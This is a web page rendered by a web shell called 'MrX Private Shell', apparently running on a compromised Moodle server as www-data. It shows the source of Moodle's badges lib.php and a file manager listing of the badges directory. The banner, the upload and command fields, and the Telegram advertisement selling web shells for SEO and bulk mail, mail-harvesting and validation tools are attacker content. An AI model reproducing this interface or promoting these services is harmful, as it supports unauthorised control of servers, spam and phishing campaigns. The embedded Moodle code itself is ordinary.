__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.147: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Defines various library functions.
 *
 * @package   core_badges
 * @copyright 2015 onwards Ankit Agarwal
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

/**
 * Add nodes to myprofile page.
 *
 * @param \core_user\output\myprofile\tree $tree Tree object
 * @param stdClass $user user object
 * @param bool $iscurrentuser
 * @param stdClass $course Course object
 *
 * @return bool
 */
function core_badges_myprofile_navigation(\core_user\output\myprofile\tree $tree, $user, $iscurrentuser, $course) {
    global $CFG, $PAGE, $USER, $SITE;
    require_once($CFG->dirroot . '/badges/renderer.php');
    if (empty($CFG->enablebadges) || (!empty($course) && empty($CFG->badges_allowcoursebadges))) {
        // Y U NO LIKE BADGES ?
        return true;
    }

    // Add category. This node should appear after 'contact' so that administration block appears towards the end. Refer MDL-49928.
    $category = new core_user\output\myprofile\category('badges', get_string('badges', 'badges'), 'contact');
    $tree->add_category($category);
    $context = context_user::instance($user->id);
    $courseid = empty($course) ? 0 : $course->id;

    if ($USER->id == $user->id || has_capability('moodle/badges:viewotherbadges', $context)) {
        $records = badges_get_user_badges($user->id, $courseid, null, null, null, true);
        $renderer = new core_badges_renderer($PAGE, '');

        // Local badges.
        if ($records) {
            $title = get_string('localbadgesp', 'badges', format_string($SITE->fullname));
            $content = $renderer->print_badges_list($records, $user->id, true);
            $localnode = $mybadges = new core_user\output\myprofile\node('badges', 'localbadges', $title, null, null, $content);
            $tree->add_node($localnode);
        }

        // External badges.
        if ($courseid == 0 && !empty($CFG->badges_allowexternalbackpack)) {
            $backpack = get_backpack_settings($user->id);
            if (isset($backpack->totalbadges) && $backpack->totalbadges !== 0) {
                $title = get_string('externalbadgesp', 'badges');
                $content = $renderer->print_badges_list($backpack->badges, $user->id, true, true);
                $externalnode = $mybadges = new core_user\output\myprofile\node('badges', 'externalbadges', $title, null, null,
                    $content);
                $tree->add_node($externalnode);
            }
        }
    }
}

/**
 * Returns badges tagged with a specified tag.
 *
 * @param object $tag
 * @param bool $exclusivemode if set to true it means that no other entities tagged with this tag
 *             are displayed on the page and the per-page limit may be bigger
 * @param null|int $fromctx context id where the link was displayed, may be used by callbacks
 *            to display items in the same context first
 * @param null|int $ctx context id where to search for records
 * @param bool $rec search in subcontexts as well
 * @param int $page 0-based number of page being displayed
 * @return \core_tag\output\tagindex
 */
function badge_get_tagged_badges(object $tag, bool $exclusivemode = false, null|int $fromctx = 0, null|int $ctx = 0,
                                 bool $rec = true, int $page = 0): object {
    global $OUTPUT;

    $badgecount = $tag->count_tagged_items('core_badges', 'badge');
    $perpage = $exclusivemode ? 20 : 5;
    $content = '';
    $totalpages = ceil($badgecount / $perpage);

    if ($badgecount) {
        $badges = $tag->get_tagged_items('core_badges', 'badge', $page * $perpage, $perpage);
        $tagfeed = new core_tag\output\tagfeed();
        foreach ($badges as $badge) {
            $badgelink = new moodle_url('/badges/badgeclass.php', ['id' => $badge->id]);
            $fullname = html_writer::link($badgelink, $badge->name);
            $icon = html_writer::link($badgelink, html_writer::empty_tag('img',
                ['src' => $OUTPUT->image_url('i/badge')]));
            $tagfeed->add($icon, $fullname, '<br>');
        }

        $items = $tagfeed->export_for_template($OUTPUT);

        $content .= $OUTPUT->render_from_template('core_tag/tagfeed', $items);
    }
    return new core_tag\output\tagindex($tag, 'core_badges', 'badge', $content,
        $exclusivemode, $fromctx, $ctx, $rec, $page, $totalpages);
}

Filemanager

Name Type Size Permission Actions
amd Folder 0755
classes Folder 0755
criteria Folder 0755
lib Folder 0755
templates Folder 0755
tests Folder 0755
UPGRADING.md File 1.84 KB 0644
action.php File 2.68 KB 0644
alignment.php File 4.66 KB 0644
alignment_action.php File 1.54 KB 0644
alignment_form.php File 4.18 KB 0644
assertion.php File 2.54 KB 0644
award.php File 8.93 KB 0644
backpack-add.php File 6.96 KB 0644
backpack-connect.php File 2.38 KB 0644
backpack-export.php File 2.31 KB 0644
backpackemailverify.php File 3.63 KB 0644
backpacks.php File 3.68 KB 0644
badge.php File 3.29 KB 0644
badge_json.php File 5.07 KB 0644
badgeclass.php File 1.96 KB 0644
criteria.php File 3.73 KB 0644
criteria_action.php File 3.38 KB 0644
criteria_form.php File 3.97 KB 0644
criteria_settings.php File 4.81 KB 0644
edit.php File 6.6 KB 0644
endorsement.php File 3.86 KB 0644
endorsement_form.php File 4.16 KB 0644
endorsement_json.php File 2.52 KB 0644
external.php File 3.27 KB 0644
image_author_json.php File 1.79 KB 0644
index.php File 6.48 KB 0644
issuer_json.php File 1.78 KB 0644
lib.php File 4.93 KB 0644
mybackpack.php File 7.1 KB 0644
mybadges.php File 4 KB 0644
newbadge.php File 1.36 KB 0644
overview.php File 3.06 KB 0644
preferences.php File 2.09 KB 0644
preferences_form.php File 1.72 KB 0644
recipients.php File 2.91 KB 0644
related.php File 4.07 KB 0644
related_action.php File 1.54 KB 0644
related_form.php File 4.23 KB 0644
renderer.php File 49.09 KB 0644
upgrade.txt File 4.63 KB 0644
upgradelib.php File 1.71 KB 0644
view.php File 1.37 KB 0644
Filemanager